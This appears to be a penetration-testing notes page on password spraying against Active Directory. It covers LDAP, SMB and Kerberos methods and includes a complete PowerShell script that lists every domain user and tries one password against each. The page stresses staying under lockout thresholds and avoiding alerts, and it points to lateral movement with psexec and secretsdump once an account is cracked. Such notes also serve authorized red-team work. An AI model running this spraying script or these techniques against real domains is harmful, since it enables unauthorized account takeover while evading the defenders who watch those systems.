Password Spraying
Before attempting any password attacks, check the domain's account lockout policy to avoid locking out accounts or triggering alerts. For instance, based on the below policy, we can safely try 4 login attempts per user every 30 minutes (192 attempts per user per day):
We can read the domain's password policy from Linux:
# List the domain's password policy
nxc smb <target-ip> -u <user> -p <pass> --pass-polEnumerate the domain's password policy from the target Windows host:
# List the account policy
> net accounts
...
Lockout threshold: 5
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
...LDAP-Based
This method leverages LDAP binding via PowerShell’s .NET libraries. It attempts authentication by trying to create an LDAP object — if it succeeds, the credentials are valid. This method is stealthy, no interactive log in, and respects lockout policy, but is slow and limited to one password per run.
On the below example, if the password is invalid it will throw an error, if it's it will return the DN:
# Get the domain and PDC
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = $domain.PdcRoleOwner.Name
# Construct the LDAP path
$ldap = "LDAP://$PDC/DC=" + $domain.Name.Replace('.', ',DC=')
# Attempt authentication
$entry = New-Object System.DirectoryServices.DirectoryEntry($ldap, "pete", "Nexus123!")
# Trigger authentication
$entry.distinguishedName # Triggers authenticationWe can automate this with a script which loops through AD users and reports valid logins:
param(
[string]$Password = "Nexus123!",
[string]$Domain = ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).Name
)
Write-Host "[*] Starting LDAP password spray for domain: $Domain"
$PDC = ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner).Name
$LDAP = "LDAP://$PDC/DC=" + $Domain.Replace('.', ',DC=')
# Get all users from AD
$Searcher = New-Object DirectoryServices.DirectorySearcher
$Searcher.Filter = "(objectCategory=person)"
$Searcher.PageSize = 1000
$Searcher.PropertiesToLoad.Add("sAMAccountName") > $null
$Users = $Searcher.FindAll() | ForEach-Object { $_.Properties.samaccountname }
foreach ($User in $Users) {
if ([string]::IsNullOrWhiteSpace($User)) { continue }
try {
$Entry = New-Object System.DirectoryServices.DirectoryEntry($LDAP, $User, $Password)
$null = $Entry.distinguishedName # Force bind/authentication
Write-Host "[+] VALID: $User : $Password"
} catch {
Write-Host "[-] INVALID: $User"
}
}We can then use it as follows:
SMB-Based
This method involves a full SMB session setup/teardown on each authentication attempt so it's slow, noisy, and does not respect the lockout policy.
With
netxec, if a sprayed password is valid and the user is alocal administratoron the target system, the(Pwn3d!)string will appear. This means that tools likepsexec,wmiexec, orsecretsdumpcan be used for lateral movement or privilege escalation.
Kerberos-Based
This method uses Kerberos AS-REQs to test credentials. It's lightweight (no full session required) and fast (only two UDP packets per attempt: AS-REQ, AS REP/error).
This attack can be performed with tools like kerbrute, a cross-platform tool which performs password spraying by automating AS-REQ requests and interpreting the responses:
Ensure the files is encoded in ANSI, not UTF-8 with BOM. If you see strange network errors from kerbrute, try re-saving the file in Notepad with Encoding: ANSI via "Save As".
Method Comparison
LDAP
Low
✅ Yes
Medium
Scriptable, stealthy
SMB
High
❌ No
Slow
Reveals admin access (Pwn3d!)
Kerberos
Low
❌ No
Very Fast
UDP-based, great for fast spraying
Last updated
Was this helpful?